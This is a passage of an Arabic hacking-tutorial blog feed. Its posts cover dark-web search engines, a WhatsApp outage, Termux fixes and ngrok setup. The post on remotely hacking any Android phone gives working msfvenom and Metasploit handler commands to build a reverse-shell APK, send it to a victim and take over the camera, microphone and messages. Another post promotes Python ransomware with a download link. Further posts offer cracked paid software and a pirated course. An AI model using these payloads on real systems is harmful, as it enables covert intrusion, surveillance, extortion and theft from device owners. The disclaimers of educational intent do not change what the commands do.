Ahmia هو محرك بحث سطحي على الويب متوافق مع خدمات Tor's onion ، غالبًا ما ترتبط مواقع البصل بنشاط غير قانوني ، لكن Ahmia تهدف إلى إدخالها في الاتجاه السائد عن طريق تصفية نتائج بحث Tor والتخلص من مواقع الديب ويب المزيفة أو غير الآمنة التي قد تحتوي على برامج ضارة ، تساعد واجهة Ahmia البسيطة في جعل البحث في الديب ويب أكثر سهولة ، وتتيح لك إجراء عمليات بحث عميقة على الويب في متصفحات الويب العادية مثل Google Chrome و رابط الوصول إليه : إي هما .

TorLinks

مع أكثر من 1.5 مليار صفحة مفهرسة ، تفتخر TorLinks بمواقع مفهرسة أكثر من أي محرك بحث ديب ويب آخر، كما أنها سريعة وتساعد في حماية هويتك وخصوصيتك ، و لا يتتبع TorLinks بياناتك أو يعرض خصوصيتك للخطر من أجل الربح ، على الرغم من أن الإصدار المجاني سيقدم لك إعلانات عرضية فقط ، و إذا ذهبت إلى الإصدار المميز فستفقد الإعلانات وتحصل على إحصاءات بيانات إضافية وإمكانية الوصول إلى الإصدارات القديمة من مواقع الويب ، فمحرك بحث TorLinksهو أحد أفضل محركات بحث الانترنت المظلم على شبكة Tor ، وللحصول على رابطه انقر على : تورلينكس .

Not Evil

Not Evil هو محرك بحث على الإنترنت المظلم وهو مقدمة رائعة لأدوات البحث الخاصة بـ Tor ، و اسم Not Evil هو تلاعب بشعار Google القديم ، وتعني " لا تكن شريرًا " ، وعلى عكس Google ، فهي لا تشارك في الإعلان أو تتبع الويب ، و يحتوي Not Evil على أكثر من 32 مليون موقع ويب وعنوان مفهرس من خوادم Tor ، بالإضافة إلى أكثر من 14 مليون رابط أونيون ، و محرك البحث Not Evil هو عملية غير هادفة للربح ، ويعتمد على مجتمع من المتطوعين الذين يبلغون عن نتائج خاطئة ويسجلون المواقع "المسيئة" ، وهو خيار جيد جداً لعشاق الإنترنت المظلم و رابطه من خلال : نوتإيفل .

Recon

Recon عبارة عن محرك بحث متتبع للويب ومحرك بحث ديب ويب ودارك ويب لمواقع خاصة بـ Tor ، و يحتوي فهرس Recon على أكثر من 100000 صفحة ويب ، بما في ذلك أسواق ومنتديات الويب المظلمة ، وهو مشهور بين مجرمي الإنترنت وغيرهم ممن يشترون سلعًا غير مشروعة من أسواق الانترنت المظلم ، ويعد محرك بحث Recon فعالاً ولكنه بسيط فهو يمنحك فقط أفضل عشر نتائج ذات صلة باستعلامات البحث الخاصة بك ولا يمكن لمربع البحث قراءة أحرف معينة مثل الأقواس أو علامات الاقتباس ، ويعد خيار جيد كما أنه شبيه بواجهة محركات البحث اللطيفة ، ويمكن الوصول إليه على دارك نت مباشرة من خلال : ريكون .

OnionLinks

OnionLinks هي أداة محرك بحث مجانية جديدة نسبيًا ، تهدف إلى جعل الإنترنت المظلم أكثر سهولة في الوصول ، و يحتوي محرك بحث الديب ويب هذا أيضًا على واجهة سهلة الاستخدام ويوفر وصولاً مجانيًا إلى روابط ومواقع الويب ، و يعمل منشئ OnionLinks حاليًا على طريقة للسماح لمستخدمي الديب ويب والدرك ويب بالوصول إلى منتديات شبكة الانترنت المظلمة المقيدة عبر روابط محرك بحث البصلة onion ، وهو إحدى أقوى محركات البحث في دارك نت ويمكن الوصول إليها مباشرة من : أونيونلينكس .

Kilos

يعد هذا محرك بحث الدارك ويب هذا من أخطر محركات البحث في الانترنت المظلم ، لأنه من خلالها يتم الوصول الى كل الأشياء الممنوعة و الغير قانونية ، و يعد في المرتبة الأولى ضمن الدارك نت ، فمن خلاله تنشط أشهر مواقع السوق السوداء و تاجروا المخدرات ، و لا أنصحك باستخدامه أو الوصول إليه لأنه ستجد غالباً برامج ضارة ضمن نتائج البحث التي سيظهرها لك و للحصول على رابطه : كايلوس .

أنواع محركات البحث في الانترنت المظلم

للراغبين في الوصول إلى الأجزاء الأكثر أمانًا من الديب ويب و الدارك ويب ، هناك محركات بحث مظلمة خاضعة للرقابة تقوم بتصفية مواقع الديب ويب الغير مشروعة ، وهناك أيضًا أدوات للمهتمين بتجربة بحث ويب مظلمة غير خاضعة للرقابة ، على عكس محركات البحث العادية مثل Google و Bing ، لا تقوم محركات البحث المظلمة على الويب عادةً بتتبع نشاط الويب أو تسجيل سجل البحث الخاص بك ، وتعمل معظم محركات بحث تور كمؤسسات غير ربحية ولا تعرض إعلانات ، لكن هذا لا يعني أن نشاطك دخل الديب ويب و الدارك ويب مجهول الهوية تمامًا ، فقبل أن تبدأ في تصفح مواقع الديب ويب على الانترنت ، تأكد من حماية نفسك باستخدام VPNمع متصفح Tor .

طريقة البحث في الانترنت المظلم

تحتاج إلى استخدام متصفح حاص بالديب ويب - مثل متصفح Tor - و للبحث والوصول إلى شبكة الانترنت المظلم ، تم تصميم متصفحات متصفحاتها خصيصًا للاتصال بمواقع الويب على شبكة Tor ، حيث تتم استضافة معظم مواقع الانترنت المظلمة ، على الرغم من أنه يمكنك البحث في فهارس الديب ويب باستخدام بعض محركات البحث ، و يمكن تنزيل إصدار سطح المكتب من متصفح Tor مباشرة من موقع مشروع Tor على الانترنت ، و تتوفر تطبيقات متصفح Tor لنظام التشغيل Android أو iOS على Google Play ومتجر التطبيقات ، و بمجرد أن يكون لديك Tor أو متصفح انترنت مظلم آخر ، هناك الكثير من خيارات محرك البحث المتاحة لمساعدتك في العثور على محتوى الديب ويب و الدارك ويب الذي تبحث عنه.

أهمية استخدام VPN عند البحث في الانترنت المظلم

عندما تكون متصلاً بالإنترنت ، وخاصة إذا كنت تستخدم الإنترنت المظلم ، فأنت بحاجة إلى VPN لتشفير جميع اتصالاتك وبياناتك ، حيث تجعل تقنية توجيه الـ onion المتقنة من Tor تتبع الويب أمرًا صعبًا للغاية ، ولكن لا يزال من الممكن للأطراف الثالثة التجسس على جوانب معينة من نشاط الويب الخاص بك ، و تضيف VPN طبقة إضافية من التشفير لحماية خصوصيتك ويخفي عنوان IP الخاص بك من المتسللين ومزود خدمة الإنترنت (ISP) وحتى الجواسيس الحكوميين.

و سواء كان ذلك على الانترنت السطحي أو الانترنت المظلم ، فإن استخدام محركات البحث وأدوات التصفح الأخرى يمكن أن يؤدي إلى تسرب البيانات التي تعرض سجل البحث والمعلومات الشخصية الأخرى للكشف ، و لهذا السبب من المهم استخدام أدوات الأمان عبر الإنترنت التي تحمي بياناتك الشخصية ، مثل برامج الـ VPN التي تقوم بإخفاء عنوان IP الخاص بك ، وتأمين اتصال Wi-Fi الخاص بك ، وتشفير بياناتك للتأكد من أن معلوماتك الشخصية تظل آمنة أينما كنت على الإنترنت .

مراجع مهمة قبل الخوض في الديب ويب و الدارك ويب

صديقي العزيز ، قبل أن تفكر في تجربة الإنترنت المظلم و الغوص في أعماقه لاستكشافه ، عليك أولاً أن تضع في بالك بأنه قد يتم تعريضك للمسائلة الأمنية الإلكترونية و الغرامة المالية ، لأن استخدامه بغير إذن يعد شيء غير قانوني ، و السبب في ذلك لكثرة استخدامه لأشياء ضارة ، ومع ذلك تستطيع الوصول إليه بأمان إن اتبعت هذه النصائح :

نصائح هامة قبل الدخول الى الانترنت المظلم مع مواقع السوق السوداء

شرح الدخول الى الانترنت المظلم من الهاتف

طريقك الى شبكة الديب ويب

افضل 9 محركات بحث في الانترنت المظلم

عطل في تطبيق واتساب نتج عنه عدم إرسال و استقبال الرسائل

noreply@blogger.com (Ammar Ahmad) — Tue, 25 Oct 2022 08:06:00 +0000

عطل في تطبيق واتساب ونتج عنه عدم إرسال و استقبال الرسائل

مرحباً بكم في القرصان الإلكتروني للتعليم ، واشتكى رواد مواقع التواصل و المستخدمين في العالم من تعرض عملاق تطبيق المراسلات الاجتماعي لعطل تقني مفاجئ في شهر أكتوبر في الثلاثاء على أجهزة الأندرويد تسبب في إيقاف إرسال واستقبال الرسائل عليه .

عطل مفاجئ في تطبيق واتساب

في تاريخ 25 / 10 / 2022 في صباح يوم الثلاثاء و تحديداً عند الساعة الـ 9:00 A.M صباحاً من اليوم توقف تطبيق واتساب عن العمل و انقطع عن الخدمة في العديد من الدول و خاصة الدول العربية ، حيث اشتكى العديد من المستخدمين بأن تطبيق واتساب معطل تماماً وخارج عن الخدمة في الوقت الحالي و لا يمكنه إرسال أو استقبال أي رسائل ، سواء الرسائل النصية أو صور أو فيديوهات أو حتى ملفات أو حتى وضع حالات ، و لازال الخلل في تطبيق واتس اب يمنعه من الخدمة ، و بعد ساعات من وقت حدوث عطل في التطبيق ، صرحت شركة " ميتا " Meta لـ مستخدمو الواتس الشهير بأن التطبيق يعاني من تعطل و مشاكل فنية لدى أغلب الـ دول ، وذكرت أن الكثير من المستخدمون أبلغ بعضهم لشركة الميتا بتوقف خدمات التراسل الفورية لمدة تصل لـ ساعة ، أوضحت معتذرة عن عطل واجه واتساب ، و أخبرت بأنه تعمل حاليا على إصلاح عطل الوتس ، ولم تكشف أي تفاصيل عن عطل في تطبيق واتساب .

تطبيق واتساب لا يرسل ولا يستقبل رسائل

توقف تطبيق واتساب في الثلاثاء من صباح اليوم بعد أن اشتكى العديد من مستخدمي الأجهزة المحمولة و تحديداً أجهزة الأندرويد في جميع أنحاء العالم ، و أوضحوا بأن التطبيق كان يعمل بشكل طبيعي وفجأة توقف عن إرسال و استقبال الرسايل و كأنه لا يصله انترنت ، فيما لم يعرف المشكلة حتى اليوم ، و لم تتحدث شركة WhatsApp عن سبب هذا الخلل في تطبيقها حتى الآن .

هل العطل في تطبيق واتساب له علاقة بـ مستخدمي

لقد توقف تطبيق التواصل واتساب في صباح يوم الثلاثاء و هو يوم يصادف فيه كسوف الشمس مع القمر ، فهل من الممكن أن تكون شركة واتساب قد قامت بإيقافه بسبب منع استخدام التواصل و التكنلوجيا مثل تطبيق واتساب ، أم قد يكون خلل عام في الشركة الواتساب نفسها .

إن كان لديك أي إجابة صديقي أفدنا بالتعليقات .

الحل الشامل لمشكلة ( wrong sources.list url ) في ترمكس

noreply@blogger.com (Ammar Ahmad) — Mon, 10 Oct 2022 10:53:00 +0000

السلام عليكم و مرحباً بكم في موقع القرصان الإلكتروني للتعليم ، لقد تحدثنا سابقاً عن كيفية حل مشكلة wrong sources.list URL في تطبيق ترمكس باختصار و وصلتني العديد من التعليقات و الأسئلة عن الشرح السابق الذي يتحدث عن حل مشكلة ( wrong sources.list url ) في ترمكس و أخبروني بأن المشكلة لم تحل على بعض الأجهزة و لا زالت تأثر على عمليات تحميل الحزم و الأداوت في ترمكس فبناءً على هذا الأمر ، سوف أقدم لكم اليوم الشرح الشامل لجميع الأجهزة و الإصدارات الخاصة بنظام أندرويد لحل مشكلة sources.list termux في تطبيق ترمكس بخطوات بسيطة جداً و بدون الحاجة الى روت .

مشكلة ( wrong sources.list url )

دعونا أولاً نتعرف على المشكلة و نتأكد منها قبل البدأ في إصلاحها ، فدعونا نقوم بفتح تطبيق ترمكس ، و نقوم بتجربة تثبيت أداة على التطبيق كأداة Wget باستعمال الأمر المعروف pkg install wget و نضغط على انتر ، و كما تلاحظ تظهر لنا رسالة في الأخير تخبرنا بين قوسين ( worng sours.list url ) ، و كذلك الحال حتى إن جربنا القيام بتثبيت التحديثات أو الترقيات للحزم باستخدام الأمر pkg update و upgrade فستظهر لنا نفس المشكلة و الرسالة .

حل مشكلة sources.list termux

لكي نقوم بحل مشكلة sources.list termux في تطبيق تيرمكس ، سوف نقوم بكتابة الأمر التالي و الذي يساعدنا على تغير صلاحيات ما يسمى بحزم الـ Repo و ذلك باستخدام الأمر :

termux-change-repo

و ستظهر لنا نافذة غريبة بعض الشيء و سنلاحظ بأن هناك نجمة فقط على خيار المسمى بـ Main repository ، فكل ما علينا فعله الآن لحل المشكلة هو تحديد الخياراين التالين أيضاً أسفله وهما Game repository Science repository ، وذلك من خلال النزول بالسهم الذي يشير الى الأسفل ثم الضغط على زر مسافة من أجل التحديد أو وضع علامة النجمة الى جانبها .

ثم سنتوقف على القائمة الأخير التي تسمى Science repository ، و نقوم بالضغط على موافق أو انتر في الكيبورد ، ثم ستظهر لنا خيارات أخرى ، سنقوم بالنزول الى الأسفل قليلاً ، ثم نختار الخيار المسمى " Mirrors by TsinghuaHosted " من خلال النقر على زر مسافة ثم نضغط على انتر او موافق ، و ستلاحظ بأن التطبيق بدا في عمل بعض التحديثات و سننتظر الى أن ينتهي منها .

بعد الانتهاء من التحديثات سنقوم مباشرة بكتابة الأمر الخاص بالترقيات للحزم داخل ترمكس بالامر :

pkg upgrade -y

و أي رسالة تظهر لك اضغط على انتر أيضاً و انتظر الى أن ينتهي من ترقية الحزم و الادوات و لا تنسى التأكد من وجود اتصال جيد بالإنترنت لديك .

بعد الانتهاء من كامل التحديثات و الترقيات تستطيع أن تجرب الآن بنفسك كتابة أي أمر لتثبيت الحزم و ستلاحظ بأن المشكلة قد تم حلها و للتأكيد على ذلك سوف أقوم الآن بتجربة تحميل أداة wget التي لم نستطع تحميلها سابقاً ، و سوف نجد بأنه قد تم تحميلها بشكل طبيعي و دون أي مشاكل.

شرح حل مشكلة Unable to locate package termux بالفيديو على تطبيق تيرمكس

ملف أوامر ترمكس

يمكنك تحميل ملف الأوامر من خلال الضغط على زر التحميل التالي تحميل

في الختام أتمنى أن تكون قد استفدت صديقي ، فأشكرك على متابعتك لي و أتمنى مشاركة هذا الفيديو مع أصدقائك إن كانوا مهتمين والى اللقاء و أراكم في درس جديد .

اختراق أي جوال أندرويد حول العالم ( اختراق خارجي )

noreply@blogger.com (Ammar Ahmad) — Fri, 30 Sep 2022 11:21:00 +0000

السلام عليكم و أهلاً وسهلاً بكم من جديد في موقع القرصان الإلكتروني للتعليم ، سنشرح اليوم كيفية اختراق أي هاتف يعمل بنظام الأندرويد أين ما كان أي اختراق خارجي او كما يعرف اختراق الاندرويد خارج الشبكة ، و سنتعلم كيفية ضبط ذلك من خلال أداة انجروك بدلأً من وضع الـ IP الأساسي و سنطبق الاختراق اليوم عن طريق كالي لينكس و سنقوم باستهداف جهاز على شبكة أخرى وذلك من خلال تطبيق البايلود الذي سنقوم بإنشائه من داخل ميتاسبلويت .

تحذير : هذا الشرح من باب التوعية الأمنية الإلكترونية و كل المواد المذكورة فيه هي فقط بهدف الحماية ولا يسمح باستخدامه في أشياء ضارة ولسنا مسؤولين عن أي شيء غير قانوني .

اختراق الاندرويد خارج الشبكة

يعتبر اختراق الاندرويد خارج الشبكة من التقنيات التي لا يستطيع معرفتها سوى الهكر الحقيقي أو المحترف ، و السبب في ذلك لأن الاختراق الخارجي هو عبارة عن اختراق جوال ما يتواجد في شبكة مختلفة عن الشبكة التي تتصل بها أو الراوتر ، مثل بأن تكون أنت في دولة و الجوال المستهدف في دولة أخرى ، فحينها سوف تحتاج الى استخدام اختراق خارجي حتى تتمكن من الوصول الى جهاز الأندرويد و اختراق الهاتف بالكامل عن بعد .

اختراق خارجي metasploit

من أكثر الأدوات استخداماً في القرصنة و الاختراق الخارجي هي أداة ميتاسبلويت metasploit ، فمن خلالها يمكن تنفيذ الإختراق الخارجي عبر بايلود و قرصنة هاتف الاندرويد خارج الشبكة ، و نحن اليوم بصدد تنفيذ اختراق خارجي على جوال أندرويد يتواجد خارج الشبكة التي نتصل عليها و سنقوم باختراقه عبر payload ميتاسبلويت اختراقاً خارجياً ، بالاستعانة بأداة ngrok نجروك ، لتثبيت الip و port او المنفذ .

اختبار اختراق الأندرويد عبر كالي لينكس خارج الشبكة

جميعنا يعرف قوة نظام kali linux وما يمكن فعله باستخدامه ، و اليوم سنقوم باختبار اختراق اي جوال حول العالم باستخدامه و ذلك من خلال ارسال تطبيق بايلود الى الاندرويد و تثبيت الجلسة حتى لا تضيع منا ، و سنتعلم بعض الاوامر التي سنستطيع من خلالها التحكم في الهاتف بالكامل ، وكل هذا اختراق خارجي للاندرويد .

تجهيز اداة ngrok

لكي نبدأ في اختبار اختراق الأندرويد خارج الشبكة عبر ميتاسبلويت ، لا بد علينا أولاً من تثبيت و فتح بورت ، و لمعرفة كيفية تثبيت الأداة راجع الشرح السابق ما هي أداة Ngrok و شرح التثبيت على ترمكس و حل مشكلة عدم الاتصال .

بعد ذلك قم بفتح بورت مخصص بالأداة .

إنشاء بايلود في ميتاسبلويت

بعد تجهيز البورت ، سنحتاج الى إنشاء الحمولة التي سنستهدف بها هاتف الأندرويد المتواجد خارج نطاق شبكتنا ، و ذلك باستخدام ميتاسبلويت عبر الأمر التالي :

msfvenom -p android/meterpreter/reverse_tcp LHOST='هنا ضع الرابط من الأدة' LPORT='هنا ضع البورت من الأداة ' R > Desktop/Payload.apk

ثم بعد الإنتهاء ، قم بفتح تيرمنال جديدة و قم بتشغيل Metasploit بالأمر :

msfconsole
use exploit /multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT واكتب البورت الذي فتحته في الأداة
exploit

و الآن أرسل التطبيق الى الهدف و إبدأ في اختبار الاختراق للأندرويد خارجياً .

أوامر التحكم في الأندرويد خارج الشبكة

هناك الكثير من الأوامر التي تستطيع التحكم بها في الجهاز بعد اختراقها ، و لمعرفة ما هي هذه الأوامر يمكنك كتابة اشارة استفهام و ستعرض لك جميع الأوامر مثل التحكم بالكاميرا و المايكروفون و سحب الرسائل و الصور و الملفات و أوامر معرفة التطبيقات المثبتة و تثبيت جديد أو إزالة ، أو حتى التحقق من إذا كان الهاتف يحتوي على روت أم لا و الكثيرمن الأوامر ، و يمكنك الرجوع الى الشرح السابق و التعرف على بعض الأوامر كيفية اختبار اختراق الاندرويد بالميتاسبلويت من ترمكس داخلياً .

شرح اختبار اختراق الأندرويد خارج الشبكة بالفيديو

وفي النهاية كان هذا كل شيء عن اختبار اختراق الأندرويد عبر الشبكة الخارجية ، فإذا رأيت الموضوع مهم بالنسبة لك و لغيرك أرسله لأصدقائك لعلهم يستفيدون منه ، و شكراً لك و يوماً سعيداً .

صنعت فيروس فدية بالبايثون شيء سهل ومخيف !

noreply@blogger.com (Ammar Ahmad) — Fri, 09 Sep 2022 06:24:00 +0000

صنعت فيروس فدية بالبايثون شيء سهل ومخيف !

السلام عليكم و أهلاً بكم من جديد في القرصان الإلكتروني للتعليم ، سوف نتحدث اليوم عن كيفية إنشاء فيروس فدية بسيط أو كما يعرف بالران سوم وير ransomware يعمل على جميع الأنظمة باستخدام البرمجة و تحديداً باستخدام لغة بايثون ، حيث سوف يكون قادراً على العمل ضمن بيئة ويندوز و لينكس و أندرويد و غيرها و سوف نقوم بكتابة الكود البرمجي باستخدام لغة بايثون و جعله يقوم بتشفير جميع المستندات التي من نوع txt ، و سيكون عمله على أن يقوم بالتوجه الى هذه الملفات ثم فتحها ثم تشفير ما في داخله ، و إن رأيت دعمكم سوف أقوم بتنزيل شرح متعمق حول فيروس الفدية بشكل اكبر .

تذكر دائماً: أن هذا الفيديو هو عبار عن شرح توضيحي لا أكثر ولا يسمح باستخدامه في إلحاق الضرر بالآخرين ،

فيروس الفدية ransomware

يعرف فيروس الفدية باللغة العربية أو ransomware بالإنجليزية من أحد أشهر الفيروسات فتكاً في عالم البرمجيات الخبيثة ، حيث تكمن مهمته في الإعتماد على تشفير ملفات المستخدم من قبل الهكر ثم مطالبته بفدية معينة و غالباً ما تكون مبلغاً من المال يرسل عبر عملة البيتكوين على عنوان مجهول يتم تحديده مسبقاً من قبل الهاكر ، و بعد أن يتم دفع المال يتم تزويد المستخدم بمفتاح فك التشفير ليقوم باستعادة ملفاته التي أصيب بفيروس الفدية .

صنع فايروس للاندرويد

لقد تحدثنا في شرح سابق عن كيف يتم صنع فايروس فدية للاندرويد و ذلك دون الحاجة الى استخدام البرمجة ، و ذلك من خلال إحدى الادوات الجاهزة التي تمكنك من صنع فيروس فدية يقوم بتجميد الهاتف و عرض رسالة تطالبه بمبلغ من المال على عنوان بيتكوين و مكان لإدخال مفتاح فك التشفير ، و إذا كنت ترغب في معرفة ذلك يمكنك مراجعة الشرح السابق صنع فيروس فدية واختباره على جهاز أندرويد .

عمل فيروس بالبايثون

إن كنت من عشاق لغة بايثون و تتسائل عن كيف يتم إنشاء و صنع فيروس فدية باستخدام بايثون فأنت في مكانك الصحيح ، حيث سأوضح لك في هذه الفقرة كيف لك أن تقوم بنصع فيروس الفدية مع بايثون بكل سهولة و في أسطر قليلة ، حيث يكمن السر في استدعاء مكتبة تدعى cryptography و هي التي تتخص في التشفير و فك التشفير المتقدم و التي تعد من أشهر المكتبات التي تستخدم في إنشاء فيروسات الفدية أو ransomware ، و لكي نقوم بصنع فيروس بالبايثون تابع الخطوات التالية :

قم بتحميل مكتبة التشفير من خلال الأمر :

pip install cryptography

ثم بعد ذلك تابع الفيديو التوضيحي لعمل فيروس فدية للاختبار

تحميل فيروس الفدية Ransomware

لتسهيل الأمر عليك وضعت لك السكربت المذكور في الشرح على موقع Github لكي تقوم بتحميله و التجربة عليه .

تحميل الكود

كيفية اختراق كلمة السر WinRAR

noreply@blogger.com (Ammar Ahmad) — Mon, 29 Aug 2022 09:26:00 +0000

كيفية اختراق كلمة السر WinRAR

مرحباً بكم في القرصان الإلكتروني للتعليم ، موضوع اليوم هو عن برنامج لفك تشفير الملفات المضغوطة rar و الحصول على كلمة السر الخاصة بها ، فتابع الى النهاية لتعرف الطريقة .

كيفية اختراق كلمة السر WinRAR

يعد برنامج WinRar أحد أشهر البرامج في العالم و التي لا يمكن أن يخلوا جهاز الكمبيوتر من هذا البرنامج ، فهو برنامج يساعدك على ضغط الملفات و حمايتها بكلمة سر حفاظاً عليها من التلف أو حتى من أجل سهولة النسخ و النقل ، ولكن أغلب الأشياء التي تواجه المستخدمين في هذا البرنامج هي وضع كلمة سر و نسيانها مع الوقت ، و صعوبة تذكرها و فتح الملف الذي تم ضغطها ، فلهذا قررنا ان نشرح لكم اليوم عن كيفية معرفة كلمة السر لملف rar بكل سهولة و بشكل مجاني .

تحميل برنامج لفك تشفير الملفات المضغوطة

هناك الكثير من البرامج و التطبيقات التي تعمل على مختلف المنصات و الأنظمة و التي تساعدك في كسر و اختراق كلمة المرور لبرنامج winrar و الحصول على كلمة السر للملف المضغوط ، و لكن من أكثر البرامج شهرةً و سهولة في العمل هو برنامج يدعى PassFab for RAR حيث يتمتع هذا البرنامج بمزايا رائعة و جبارة لكسر أي ملف مضغوط محمي بكلمة سر سواء كان منو zip او rar او حتى rar4 ، ولكن العيب الوحيد في هذا البرنامج أنه مدفوع ، ولكن تتوفر نسخة تجريبية منه ولكن ليست كافية لكسر الملف المضغوط .

مميزات برنامج PassFab for RAR

يتمتع باس فاب بالعديد من المميزات الجميلة و من أشهرها :

فتح أي أرشيف WinRAR / RAR محمي بكلمة مرور ، بغض النظر عن خوارزمية الضغط والتشفير المستخدمة .
يجلب لك كلمة السر مهما كانت المدة ومدى تعقيد كلمة مرورك .
3 أنواع من هجمات كلمة المرور باستخدام أحدث خوارزمية فك التشفير ، مما يجعل استعادة كلمة المرور أسهل وأسرع من أي وقت مضى.
دعم لاستعادة كلمة المرور لجميع أنواع ملفات RAR و WinRAR المشفرة.
دعم ميزة Dictionary Attack والتي تساعدك في العثور بسرعة على كلمة المرور من قاموسك المدمج أو من قاموسك المخصص.
دعم ميزة Brute-force with Mask Attack والذي بإمكانك استخدامه اذا كنت تتذكر نطاق كلمة المرور و طولها .
دعم ميزة Brute-force Attack أو هجوم القوة الغاشمة والذي يوفر لك تجربة جميع أنواع كلمة المرور بكافة أشكالها حتى يجد لك كلمة المرور الصحيحة .

تحميل برنامج لفك تشفير الملفات المضغوطة

لتحميل البرنامج المدفوع مجاناً و تثبيت برنامج Passfab و اختراق كلمة سر Winrar تابع الفيديو أدناه .

تحميل برنامج Passfab

كلمة السر لفك الضغط هي : krsan4learn.com

مجاناً تحميل كورس الدليل الشامل لتعلم بايثون 2021

noreply@blogger.com (Ammar Ahmad) — Sun, 17 Jul 2022 17:37:00 +0000

مجاناً تحميل كورس الدليل الشامل لتعلم بايثون 2021

مرحباً و أهلاً بكم جميعاً في موقع و قناة القرصان الإلكتروني للتعليم ، سنقدم لكم اليوم كورس رائع مجاناً و باللغة العربية لتعلم أفضل و أقوى لغة برمجة و أسهله و هي لغة البرمجة بايثون ، حيث في هذا الموضوع ستتمكن من الحصول على كورس الدليل الشامل لتعلم بايثون 2021 بشكل مجاني و آمن 100% إن كنت غير قادر على شرائه من منصة يوديمي للدورات المدفوعة .

كورس الدليل الشامل لتعلم بايثون 2021

الدليل الشامل لتعلم البرمجه ببايثون من الصفر بالامثله وطرق حل لكل المشاكل اللي بتقابل المبتدئين ، هذا هو الوصف الخاص بالدورة المتوفرة على منصة يوديمي udemy بسعر $84.99 ، حيث أنه يعد من أفضل الدورات التي تعلمك لغة البرمجة python بإصدارها الثالث python3 و بطريقة رائعة و مسلية و دون أي ملل ، حيث يغطي هذا الكورس جميع أساسيات لغة بايثون وصولاً الى التطبيق العملي و الأمثلة التي تساعدك على فهم اللغة بشكل أكبر و أكثر كفاءة .

تحميل الدليل الشامل لتعلم بايثون 2021 مجاناً

إن كنت من الأشخاص الراغبين في تعلم بايثون و قادر على شراء هذه الكورس ، فيمكنك دعم المنشئ لهذا الكورس و التوجيه بشكل مباشر الى منصة يوديمي و شراء الكورس من هناك مع كوبون مميز يصل الى 85% ليكون السعر فقط أقل من 15$ ، أما إن كنت من الأشخاص الذي بوسعهم تعلم لغة بايثون من الصفر الى النهاية و لكنهم ظروفهم المادية لا تسمح لهم ، فلا تقلق وفرنا لك رابط مجاني يمكنك من خلاله الحصول على هذا الكورس بكامل الفيديوهات و المستندات المذكورة فيه لتحميلها و تنزيل الدليل الشامل لتعلم بايثون 2021 مجاناً بدون دفع أي رسوم .

ما ستتعلمه في كورس الدليل الشامل لتعلم بايثون 2021

ما هي البرمجة .
ما هو تاريخ لغة بايثون .
لماذا يجب عليك أن تتعلم بايثون .
طريقة تثبيت لغة بايثون على الأجهزة .
ما هي المتغيرات أو الـ Variables .
ما هي الشروط في بايثون أو الـ If Conditions و بعض الأمثلة عليها .
تعلم حلقات التكرار في اللغة أو Loops - Break - Continue و أمثلة عليها .
ما هو الـ OOP .
التعرف على الـ Data Types (Strings - Lists - Tuples - Dictionary .
التعرف على الـ Class و كيف يمكننا أن نصنع واحد خاص بنا .
شرح الـ Encapsulation و كيف تستخدمه .
ما هي الـ Method و Attribute و ما الفرق بينهما .
سوف تتعرف على الـ Constructor .

و الكثير من الأشياء التي لا تنتهي في عالم البرمجة .

شرح تنزيل الدليل الشامل لتعلم بايثون 2021 بالفيديو

يمكنك مشاهدة الفيديو التالي لمعرفة طريقة الحصول على كورس تعلم لغة بايثون .

رابط تحميل الدليل الشامل لتعلم بايثون 2021

الدورة مرفوعة على منصة جوجل درايف و بدون أي إعلانات أو روابط مختصرة لتسهيل عملية التنزيل عليكم و إليكم بعض التفاصيل عنها :

صيغة الملف : مضغوط .ZIP .

حجم الكورس : 2.6G .

منصة الرفع : غوغل درايف .

تحميل الكورس مجاناً

كلمة السر لفك الضغط هي : www.krsan4learn.com

ختاماً لا تنسى مشاركة هذا الموضوع مع أصدقائك لأنهم بالتأكيد هم يبحثون عنه و شكراً لك .

ما هي أداة Ngrok و شرح التثبيت على ترمكس و حل مشكلة عدم الاتصال

noreply@blogger.com (Ammar Ahmad) — Tue, 21 Jun 2022 03:52:00 +0000

ما هي أداة Ngrok و شرح التثبيت على ترمكس و حل مشكلة عدم الاتصال

السلام عليكم و أهلاً وسهلاً بكم من جديد على قناة القرصان الإلكتروني للتعليم سنشرح اليوم كيفية تثبيت أداة ngrok على تطبيق ترمكس ، و أيضاً سوف نتعرف على ما فائدة هذه الأداة بشكل سريع و بماذا ستفيدنا ضمن اختبار الاختراق .

ما هي أداة نجروك Ngrok

أداة ngrok هي من الأداوت المهمة لمختبري الاختراق و المطورين ، حيث أن وظيفتها الرئيسية في اختبار الاختراق و إنشاء و فتح المنافذ أو ما يسمى بالبورت على الشبكة Port ، و القيام بإعادة تحويل الروابط أو عناوين الـ ip الاساسية الى شبكة أخرى مشفرة و هي شبكة ngrok ، و تمرير البيانات عبرها ، وذلك حتى لا يتم كشف العنوان الأصلي الخاص بالـip للمهاجم و كذلك وصول اسرع للبيانات عند اختبار الاختراق ، فأثناء اختبار اختراق جهاز ما ، سوف تضطر دائماً الى وضع عنوان الـ ip الداخلي أو الخارجي على حسب طريقة استهدافك لهذا الجهاز و مكان تواجده ، و بعد النجاح في اختبار الاختراق و تشغيل الجلسة و كل شيء في وضع سليم ، فجأة ينقطع الانترنت أو تضطر الى إطفاء الانترنت أو حتى أن تقوم بتغير اتصالك بشبكة الانترنت من راوتر آخر ، فيحنها عنوان الـ ip الذي قمت بوضعه مسبقاً ضمن البرمجية أو البايلود payload لن يعمل معك و لن تستطيع الوصول الى جهاز الهدف مرة اخرى ، و ستحتاج الى إنشاء برمجية جديدة و إعادة اختبار الاختراق مجدداً ، والسبب في ذلك أنك عندما قمت بالتوصل بشبكة انترنت مختلفة او حتى إعادة التوصل بالشبكة نفسها سوف تتحصل على عنوان آي بي مختلف لجهازك و سيكون بالتأكيد مختلف عن العنوان الذي وضعته أثناء اختبار الاختراق ، فهنا يأتي دور أداة ngrok نجروك في اختبار الاختراق حتى لا تضيع الجلسة أو الهدف و يكون اختبار الاختراق الخاص بك ناجح 100% .

كيفية تثبيت أداة نجروك على ترمكس

1- لنحصل على تثبيت سليم لأداة ngrok لا بد علينا كالعادة في كتابة أوامر التحديثات و الترقيات لتطبيق ترمكس ، وهما الأمران pkg update & pkg upgrade - y .

2 - و بعد الانتهاء من التحديثات ، سوف نحتاج الى تثبيت أداة wget لتحميل ملف أداة انجروك على التيرمكس بشكل مباشر لاحقاً ، ولكي نقوم بتثبيت هذه الأداة نكتب الامر التالي pkg install wget .

